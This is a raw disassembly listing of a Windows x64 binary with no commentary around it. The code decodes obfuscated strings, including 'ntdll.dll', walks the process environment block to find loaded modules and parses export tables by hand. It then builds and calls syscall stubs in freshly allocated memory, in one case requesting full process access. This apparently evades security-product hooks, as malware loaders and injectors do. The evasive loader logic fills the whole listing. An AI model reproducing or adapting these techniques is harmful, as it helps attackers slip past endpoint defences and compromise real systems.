movsx eax, byte [rbp + 0x7e0]
add eax, edi
movsxd rdi, eax
lea rax, [r8 + 0x10]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x7e0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x7e1], dil
mov edi, 1
add r8, rdi
add r9, r15
cmp r9, 0x110
jb 0x1400327e7
xor edi, edi
mov byte [rbp + 0x7f1], dil
mov word [rbp + 0x248], 0xeb70
mov byte [rbp + 0x24a], 8
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x24b], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x24c], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x24d], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x24e], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x24f], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x250], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.140037108
mov byte [rbp + 0x251], al
xor eax, eax
mov byte [rbp + 0x252], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x248]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x248]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x249], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140032956
xor r9d, r9d
mov byte [rbp + 0x252], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140033590
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x140032a68
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140032a38
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140032ac4
mov rax, rcx
lea r9, [rbp + 0x249]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140032abd
add rax, r11
test edx, edx
jne 0x140032aa8
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14003331f
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400329f1
jmp 0x140033590
mov rcx, qword [rbp - 0x58]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140032612
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x140032612
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032610
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032610
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140032610
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x679]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140032b7f
inc rax
test edi, edi
jne 0x140032b6a
xor eax, eax
lea edi, [rax + 1]
test r8d, r8d
je 0x140032b97
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x140032b59
jmp 0x140032617
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x140032617
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
cmp eax, edi
jl 0x140033318
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xeb0], rax
call fcn.140095f90
or dword [rbp + 0x2444], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x10c0]
call fcn.14003804c
lea rcx, [rbp + 0x10c0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x10c0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x41550], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140032c3c
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x41550]
mov rdi, qword [rbp + 0xeb0]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf28], eax
lea r9, [rbp + 0xf28]
mov r8d, r14d
mov edx, r13d
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x25]
lea r8, [0x1400f1338]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x30]
call rdi
mov edi, eax
lea r9, [rbp + 0xf28]
mov r8d, dword [rbp + 0xf28]
mov edx, r13d
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, qword [rbp + 0xeb0]
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
lea r13d, [rax + 0x17]
jns 0x140032612
mov word [rbp + 0x300], 0xff35
mov r9, rbx
lea r8d, [rax + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x302], al
mov r9, rbx
lea r8d, [r13 - 0x15]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x303], al
mov r9, rbx
lea r8d, [r13 - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x304], al
mov r9, rbx
lea r8d, [r13 - 0x13]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x305], al
mov r9, rbx
lea r8d, [r13 - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x306], al
mov r9, rbx
lea r8d, [r13 - 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x307], al
mov r9, rbx
lea r8d, [r13 - 0x10]
mov dl, 0x61
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x308], al
mov r9, rbx
lea r8d, [r13 - 0xf]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x309], al
mov r9, rbx
lea r8d, [r13 - 0xe]
mov dl, r14b
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30a], al
mov r9, rbx
lea r8d, [r13 - 0xd]
mov dl, 0x46
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30b], al
mov r9, rbx
lea r8d, [r13 - 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30c], al
mov r9, rbx
lea r8d, [r13 - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30d], al
mov r9, rbx
lea r8d, [r13 - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30e], al
mov r9, rbx
lea r8d, [r13 - 9]
mov dl, 0x75
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x30f], al
mov r9, rbx
lea r8d, [r13 - 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x310], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x300]
call fcn.1400371f8
mov byte [rbp + 0x311], al
xor eax, eax
mov byte [rbp + 0x312], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [r13 - 0x16]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x300]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x300]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x301], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140032f1d
xor r10d, r10d
mov byte [rbp + 0x312], r10b
mov word [rbp + 0x868], 0xd69
lea edi, [r10 + 0x1b]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86a], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x69
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86b], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86c], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86d], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86e], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r14b
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x86f], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x870], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x871], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r14b
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x872], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x873], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x874], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x875], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x876], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x877], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x878], al
mov r9d, edi
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x879], al
mov r9d, edi
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87b], al
mov r9d, edi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87d], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x67
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x87f], al
mov r9d, edi
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x880], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x881], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x882], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x34
lea rcx, [rbp + 0x868]
call fcn.140038608
mov byte [rbp + 0x883], al
xor eax, eax
mov byte [rbp + 0x884], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x868]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x868]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x869], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003327f
mov byte [rbp + 0x884], r10b
xor r9d, r9d
lea r8, [rbp + 0x301]
lea rdx, [rbp + 0x869]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
xor eax, eax
jmp 0x140032617
mov rcx, qword [rbp - 0x58]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140033590
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033590
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033590
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033590
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140033590
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400333b0
inc rax
test edi, edi
jne 0x14003339b
test r8d, r8d
je 0x1400333c3
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14003338a
jmp 0x140033590
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033590
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
mov ecx, 1
cmp eax, ecx
jl 0x140033590
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xeb0], rax
call fcn.140095f90
or dword [rbp + 0x37d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2450]
call fcn.14003804c
lea rcx, [rbp + 0x2450]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x2450]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x42550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003346a
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x42550]
mov rdi, qword [rbp + 0xeb0]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf18], eax
lea r9, [rbp + 0xf18]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xda8]
call rdi
mov edi, eax
lea r9, [rbp + 0xf18]
mov r8d, dword [rbp + 0xf18]
mov edx, ebx
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, qword [rbp + 0xeb0]
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xeb0]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
test edi, edi
lea ebx, [rax + 0x11]
js 0x14003558f
mov rax, qword [rbp + 0xda8]
mov qword [rbp - 0x30], rax
cmp rax, 0xffffffffffffffff
je 0x14003558f
mov dword [rbp + 0xb40], 0x85d41e62
mov byte [rbp + 0xb44], 0x64
mov edi, reloc.WS2_32.dll_setsockopt
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb45], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb46], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb47], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb48], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb49], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4a], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4b], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4c], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x67
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4d], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4e], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb4f], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb50], al
mov r9d, edi
mov r8, r15
mov dl, 0x62
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb51], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb52], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb53], al
mov r9d, edi
mov r8, r12
mov dl, 0x63
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb54], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb40]
call fcn.1400372e8
mov byte [rbp + 0xb55], al
xor eax, eax
mov byte [rbp + 0xb56], al
mov r8d, eax
mov r9d, edi
lea r10d, [rdi - 0x14]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb40]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb40]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb41], dil
add r8, r10
add r9, 0x15
cmp r9, 0x1ce
jb 0x14003379e
xor edi, edi
mov byte [rbp + 0xb56], dil
mov dword [rbp + 0xbc8], 0xde027c3c
mov word [rbp + 0xbcc], 0x5d96
lea r15d, [rdi + 9]
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xbc8]
call fcn.140037108
mov byte [rbp + 0xbce], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xbc8]
call fcn.140037108
mov byte [rbp + 0xbcf], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xbc8]
call fcn.140037108
mov byte [rbp + 0xbd0], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xbc8]
call fcn.140037108
mov byte [rbp + 0xbd1], al
xor eax, eax
mov byte [rbp + 0xbd2], al
mov r8d, edi
mov r9d, r15d
lea r15d, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbc8]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbc8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbc9], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x1400338b8
xor eax, eax
mov byte [rbp + 0xbd2], al
mov rax, qword gs:[0x60]
test rax, rax
mov r15d, reloc.WS2_32.dll_recv
je 0x140033a51
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x1400339d0
lea r14d, [rax + 1]
mov r10d, r14d
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x14003399f
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r14 - 9]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140033a2c
mov rax, rcx
lea r9, [rbp + 0xbc9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140033a25
add rax, r11
test edx, edx
jne 0x140033a10
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor eax, eax
test dil, dil
jne 0x14003402a
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x80]
jne 0x140033957
xor eax, eax
mov edi, 1
mov dword [rbp + 0xd78], eax
lea rdx, [rbp + 0xd78]
mov rcx, qword [rbp + 0xd70]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rbp + 0xd78]
cmp edx, 0x103
je 0x14003425b
lea rcx, [rbp + 0xd10]
call fcn.14001beac
mov qword [rbp - 0x70], rax
mov dword [rbp + 0xba0], 0xe7f51334
mov word [rbp + 0xba4], 0xb80a
mov edi, Ordinal_32
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xba6], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x43
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xba7], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, WSAStartup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xba8], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x61
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xba9], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbaa], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x68
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbab], al
